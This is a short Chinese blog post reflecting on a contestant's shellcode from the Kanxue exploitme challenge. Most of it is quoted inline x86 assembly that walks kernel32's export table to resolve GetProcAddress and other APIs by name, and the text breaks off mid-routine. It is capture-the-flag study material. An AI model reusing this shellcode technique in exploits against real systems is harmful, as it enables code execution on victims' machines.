本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。
高手大致可以飘过。
昨天在研究看雪exploit me挑战赛中的exploitmeA例子的时候,仔细阅读了一下combojiang的答案。
combojiang的shellcode确实不凡,包括查找kernel32.dll的位置,查找GetProcAddress和MessageBoxA函数的地址,加密解密shellcode. 但是有一个问题,shellcode最终不能使得程序安静的退出!
在文章中,作者构建shellcode的代码如下:
引用:
void ShellcodeFunc()
{
unsigned int uLoadLibrary,uGetProcAddress,uKernelBase,uLibHandle;
unsigned int ImageBase,flen;
char *FuncName;
__asm
{
/////////////////////////// // shellcode开始标记,方便截取shellcode,这里没启用
//signature of ShellcodeStart
// _emit ’S’
// _emit ’h’
// _emit ’e’
// _emit ’l’
// _emit ’l’
// _emit ’c’
// _emit ’o’
// _emit ’d’
// _emit ’e’
// _emit ’S’
// _emit ’t’
// _emit ’a’
// _emit ’r’
// _emit ’t’ ////////////////////////////
jmp Start
GetFunc:
mov eax,ImageBase
mov eax,[eax+0x3c]
add eax,ImageBase
mov eax,[eax+0x78]
add eax,ImageBase
mov esi,eax
mov ecx,[eax+0x18]
mov eax,[eax+0x20]
add eax,ImageBase
mov ebx,eax
xor edx,edx
FindLoop:
push ecx
push esi
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen
cld
rep cmpsb
pop esi
je Found
inc edx
add ebx,4
mov eax,ebx
pop ecx
loop FindLoop
Found:
add esp,4
mov eax,esi
mov eax,[eax+0x1c]
add eax,ImageBase
shl edx,2
add eax,edx